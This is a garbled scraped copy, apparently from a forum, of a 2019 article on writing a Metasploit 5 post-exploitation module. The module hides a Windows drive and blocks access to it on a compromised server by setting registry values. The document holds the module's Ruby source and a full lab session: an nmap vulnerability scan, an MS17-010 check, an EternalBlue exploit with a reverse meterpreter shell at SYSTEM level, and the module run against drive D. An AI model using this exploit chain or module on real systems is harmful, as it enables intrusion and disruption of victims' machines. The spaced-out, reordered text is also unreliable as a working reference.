[14096] 2019-05-12_关于Metasploit5中的后渗透模块的编写与测试

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-05-12_关于Metasploit5中的后渗透模块的编写与测试 M e t a s p l o i t 5 N e r o q i   F r e e B u f   2 0 1 9 - 0 5 - 1 2 * M e t a s p l o i t . r b R u b y R u b y 访 M e t a s p l o i t m e t e r p r e t e r 1 . M e t a s p l o i t # 便 使 r e q u i r e   ' r e x ' M e t a s p l o i t r e x r e q u i r e   ' m s f / c o r e ' M e t a s p l o i t c o r e r e q u i r e   ' m s f / c o r e / p o s t / w i n d o w s / r e g i s t r y ' r e g i s t r y . r b c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : P o s t P o s t i n i t i a l i z e r e g i s t e r _ o p t i o n s 使 O p t S t r i n g . n e w D r i v e C h a r a c t e r 2 . 1 . K a l i - L i n u x - 2 0 1 9 . 1 - v m - a m d 6 4 2 . W i n d o w s   S e r v e r   2 0 0 8   R 2 3 . M e t a s p l o i t   v 5 . 0 . 2 #   T h i s   m o d u l e   r e q u i r e s   M e t a s p l o i t :   h t t p s : / / m e t a s p l o i t . c o m / d o w n l o a d #   T h i s   m o d u l e   i s   u s e d   t o   h i d e   a n d   r e s t r i c t   a c c e s s   t o   a   p a r t i c u l a r   d r i v e #   a f t e r   y o u   h a v e   s u c c e s s f u l l y   p e n e t r a t e d   a   s e r v e r r e q u i r e   ' r e x ' r e q u i r e   ' m s f / c o r e ' r e q u i r e   ' m s f / c o r e / p o s t / w i n d o w s / r e g i s t r y ' c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : P o s t     i n c l u d e   M s f : : P o s t : : W i n d o w s : : R e g i s t r y     d e f   i n i t i a l i z e       s u p e r (             ' D e s c r i p t i o n ' = >   ' T h i s   m o d u l e   i s   u s e d   t o   h i d e   a n d   r e s t r i c t   a c c e s s   t o   a   p a r t i c u l a r   d r i v e ' ,             ' L i c e n s e ' = >   M S F _ L I C E N S E ,             ' A u t h o r ' = >   ' N e r o q i ' ,               )     r e g i s t e r _ o p t i o n s (         [   O p t S t r i n g . n e w ( ' D r i v e C h a r a c t e r ' ,   [ t r u e , ' P l e a s e   S E T   t h e   D r i v e   C h a r a c t e r ' ] ) ] ,               s e l f . c l a s s )     e n d     d e f   d r i v e _ c o n v e r t e r ( d r i v e )
2 ^ ( N - 1 ) N 2 6 C 3 2 ^ ( 3 - 1 ) = 4 G   3 . H K L M H K E Y L O C A L M A C H I N E W i n d o w s   S e r v e r   2 0 0 8   R 2 r e g i s t r y . r b         c a s e   d r i v e         w h e n   " A "             r e t u r n   1         w h e n   " B "             r e t u r n   2         w h e n   " C "             r e t u r n   4         w h e n   " D "             r e t u r n   8         w h e n   " E "             r e t u r n   1 6         w h e n   " F "             r e t u r n   3 2         w h e n   " G "             r e t u r n   6 4         e n d     e n d     d e f   r u n           d r i v e _ i n t   =   d r i v e _ c o n v e r t e r ( d a t a s t o r e [ ' D r i v e C h a r a c t e r ' ] )         r e g i s t r y _ p a t h   =   " H K L M S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s E x p l o r e r "         e x i s t s   =   m e t e r p r e t e r _ r e g i s t r y _ k e y _ e x i s t ? ( r e g i s t r y _ p a t h )         i f   e x i s t s                   p r i n t _ g o o d ( " R e g i s t r y   P a t h   E x i s t s ,   C r e a t i n g   V a l u e s   D i r e c t l y ! " )                 m e t e r p r e t e r _ r e g i s t r y _ s e t v a l d a t a ( r e g i s t r y _ p a t h ,   ' N o D r i v e s ' ,   d r i v e _ i n t . t o _ s ,   ' R E G _ D W O R D ' ,   R E G I S T R Y _ V I E W _ 6 4 _ B I T )                 p r i n t _ g o o d ( " H i d i n g   # { d a t a s t o r e [ ' D r i v e C h a r a c t e r ' ] }   D r i v e " )                 m e t e r p r e t e r _ r e g i s t r y _ s e t v a l d a t a ( r e g i s t r y _ p a t h , ' N o V i e w O n D r i v e ' ,   d r i v e _ i n t . t o _ s , ' R E G _ D W O R D ' ,   R E G I S T R Y _ V I E W _ 6 4 _ B I T )                 p r i n t _ g o o d ( " R e s t r i c t i n g   A c c e s s   t o   # { d a t a s t o r e [ ' D r i v e C h a r a c t e r ' ] }   D r i v e " )         e l s e                   p r i n t _ e r r o r ( " R e g i s t r y   P a t h   D o e s n ' t   E x i s t ,   C r e a t i n g   P a t h   F i r s t l y ! " )                 r e g i s t r y _ c r e a t e k e y ( r e g i s t r y _ p a t h )                 m e t e r p r e t e r _ r e g i s t r y _ s e t v a l d a t a ( r e g i s t r y _ p a t h , ' N o D r i v e s ' ,   d r i v e _ i n t . t o _ s , ' R E G _ D W O R D ' ,   R E G I S T R Y _ V I E W _ 6 4 _ B I T )                 p r i n t _ g o o d ( " H i d i n g   # { d a t a s t o r e [ ' D r i v e C h a r a c t e r ' ] }   D r i v e " )                 m e t e r p r e t e r _ r e g i s t r y _ s e t v a l d a t a ( r e g i s t r y _ p a t h , ' N o V i e w O n D r i v e ' ,   d r i v e _ i n t . t o _ s , ' R E G _ D W O R D ' ,   R E G I S T R Y _ V I E W _ 6 4 _ B I T )                 p r i n t _ g o o d ( " R e s t r i c t i n g   A c c e s s   t o   # { d a t a s t o r e [ ' D r i v e C h a r a c t e r ' ] }   D r i v e " )                 e n d           p r i n t _ g o o d ( " D i s a b l e d   # { d a t a s t o r e [ ' D r i v e C h a r a c t e r ' ] }   D r i v e   S u c c e s s f u l l y ! " )     e n d r e g i s t r y _ p a t h   =   " H K L M S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s E x p l o r e r "     d e f   r e g i s t r y _ h i v e _ l o o k u p ( h i v e )         c a s e   h i v e         w h e n   ' H K C R '             H K E Y _ L O C A L _ M A C H I N E         w h e n   ' H K C U '             H K E Y _ C U R R E N T _ U S E R         w h e n   ' H K L M '             H K E Y _ L O C A L _ M A C H I N E         w h e n   ' H K U '             H K E Y _ U S E R S         w h e n   ' H K P D '             H K E Y _ P E R F O R M A N C E _ D A T A
H K L M H K E Y L O C A L M A C H I N E H K L M H K C U H K E Y C U R R E N T U S E R s y s t e m 使 H K L M 退 使 H K C U i f - e l s e W i n d o w s N o D r i v e s N o V i e w O n D r i v e 访 m e t e r p r e t e r 使 使 m e t e r p r e t e r r e g i s t r y s e t v a l d a t a N o D r i v e s N o V i e w O n D r i v e 6 4 m e t e r p r e t e r r e g i s t r y s e t v a l d a t a 使 R E G I S T R Y V I E W 6 4 B I T 3 2 使 R E G I S T R Y V I E W 3 2 B I T 1 . d i s a b l e d r i v e N e r o q i . r b M e t a s p l o i t m s f c o n s o l e r e l o a d a l l m s f c o n s o l e m s f c o n s o l e r e l o a d a l l 3 2 6 p o s t 3 2 7 p o s t 2 . 使 n m a p n m a p m s 1 7 _ 0 1 0 3 . m s 1 7 0 1 0 n m a p m s f c o n s o l e 使 a u x i l i a r y / s c a n n e r / s m b / s m b m s 1 7 0 1 0 m s 1 7 0 1 0             H K E Y _ P E R F O R M A N C E _ D A T A         w h e n   ' H K C C '             H K E Y _ C U R R E N T _ C O N F I G         w h e n   ' H K D D '             H K E Y _ D Y N _ D A T A         e l s e             H K E Y _ L O C A L _ M A C H I N E         e n d     e n d r e g i s t r y _ p a t h   =   " H K L M S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s E x p l o r e r " e x i s t s   =   m e t e r p r e t e r _ r e g i s t r y _ k e y _ e x i s t ? ( r e g i s t r y _ p a t h ) / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / m o d u l e s / p o s t / w i n d o w s / m a n a g e r o o t @ k a l i : ~ #   n m a p   - s V   - p   -   - - s c r i p t   v u l n   - - s c r i p t - a r g s   u n s a f e   1 9 2 . 1 6 8 . 1 1 0 . 1 3 0 m s f 5   >   u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0   m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 )   >   s e t   R H O S T S   1 9 2 . 1 6 8 . 1 1 0 . 1 3 0 R H O S T S   = >   1 9 2 . 1 6 8 . 1 1 0 . 1 3 0
m s 1 7 _ 0 1 0 4 . e x p l o i t / w i n d o w s / s m b / m s 1 7 0 1 0 e t e r n a l b l u e m e t e r p r e t e r 5 . s y s t e m 6 . 使 p o s t / w i n d o w s / g a t h e r / f o r e n s i c s / e n u m d r i v e s d i s a b l e d r i v e N e r o q i . r b e n u m d r i v e s b a c k g r o u n d m e t e r p r e t e r R H O S T S   = >   1 9 2 . 1 6 8 . 1 1 0 . 1 3 0 m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 )   >   r u n m s f 5   >   u s e   e x p l o i t / w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e m s f 5   e x p l o i t ( w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e )   >   s e t   R H O S T   1 9 2 . 1 6 8 . 1 1 0 . 1 3 0 R H O S T   = >   1 9 2 . 1 6 8 . 1 1 0 . 1 3 2 m s f 5   e x p l o i t ( w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e )   >   s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p p a y l o a d   = >   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p m s f 5   e x p l o i t ( w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e )   >   s e t   L H O S T   1 9 2 . 1 6 8 . 1 1 0 . 1 3 2 L H O S T   = >   1 9 2 . 1 6 8 . 1 1 0 . 1 3 0 m s f 5   e x p l o i t ( w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e )   >   s e t   L P O R T   8 0 0 0 L P O R T   = >   8 0 0 0 m s f 5   e x p l o i t ( w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e )   >   r u n m e t e r p r e t e r   >   b a c k g r o u n d [ * ]   B a c k g r o u n d i n g   s e s s i o n   1 . . . m s f 5   >   s e s s i o n s A c t i v e   s e s s i o n s = = = = = = = = = = = = = = =     I d     N a m e     T y p e                                           I n f o r m a t i o n                                                         C o n n e c t i o n     - -     - - - -     - - - -                                           - - - - - - - - - - -                                                         - - - - - - - - - -     1                   m e t e r p r e t e r   x 6 4 / w i n d o w s     N T   A U T H O R I T Y S Y S T E M   @   W I N - 3 E 5 K J E F P 4 3 6     1 9 2 . 1 6 8 . 1 1 0 . 1 3 2 : 8 0 0 0   - >   1 9 2 . 1 6 8 . 1 1 0 . 1 3 0 : 4 9 2 8 0   ( 1 9 2 . 1 6 8 . 1 1 0 . 1 3 0 ) m s f 5   >   u s e   p o s t / w i n d o w s / g a t h e r / f o r e n s i c s / e n u m _ d r i v e s   m s f 5   p o s t ( w i n d o w s / g a t h e r / f o r e n s i c s / e n u m _ d r i v e s )   >   s h o w   o p t i o n s M o d u l e   o p t i o n s   ( p o s t / w i n d o w s / g a t h e r / f o r e n s i c s / e n u m _ d r i v e s ) :       N a m e               C u r r e n t   S e t t i n g     R e q u i r e d     D e s c r i p t i o n       - - - -               - - - - - - - - - - - - - - -     - - - - - - - -     - - - - - - - - - - -       M A X D R I V E S     1 0                               n o                 M a x i m u m   p h y s i c a l   d r i v e   n u m b e r       S E S S I O N                                           y e s               T h e   s e s s i o n   t o   r u n   t h i s   m o d u l e   o n . m s f 5   p o s t ( w i n d o w s / g a t h e r / f o r e n s i c s / e n u m _ d r i v e s )   >   s e t   S E S S I O N   1 S E S S I O N   = >   1 m s f 5   p o s t ( w i n d o w s / g a t h e r / f o r e n s i c s / e n u m _ d r i v e s )   >   r u n D e v i c e   N a m e :                                         T y p e :       S i z e   ( b y t e s ) : - - - - - - - - - - - -                                         - - - - -       - - - - - - - - - - - - - . P h y s i c a l D r i v e 0                                       4 7 0 2 1 1 1 2 3 4 4 7 4 9 8 3 7 4 5 . C :                                                               4 7 0 2 1 1 1 2 3 4 4 7 4 9 8 3 7 4 5 . D :                                                               4 7 0 2 1 1 1 2 3 4 4 7 4 9 8 3 7 4 5 . E :                                                               4 7 0 2 1 1 1 2 3 4 4 7 4 9 8 3 7 4 5 [ * ]   P o s t   m o d u l e   e x e c u t i o n   c o m p l e t e d
7 . m s f d i s a b l e d r i v e N e r o q i . r b D r i v e C h a r a c t e r S E S S I O N D r i v e C h a r a c t e r D S E S S I O N m e t e r p r e t e r i d i d 1 8 . d i s a b l e d r i v e N e r o q i r u n   9 . N o D r i v e s N o V i e w O n D r i v e D D 访 D R u b y R u b y * N e r o q i F r e e B u f m s f 5   >   u s e   p o s t / w i n d o w s / m a n a g e / d i s a b l e _ d r i v e _ N e r o q i   m s f 5   p o s t ( w i n d o w s / m a n a g e / d i s a b l e _ d r i v e _ N e r o q i )   >   s e t   D r i v e C h a r a c t e r   D D r i v e C h a r a c t e r   = >   D m s f 5   p o s t ( w i n d o w s / m a n a g e / d i s a b l e _ d r i v e _ N e r o q i )   >   s e t   S E S S I O N   1 S E S S I O N   = >   1 m s f 5   p o s t ( w i n d o w s / m a n a g e / d i s a b l e _ d r i v e _ N e r o q i )   >   r u n

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则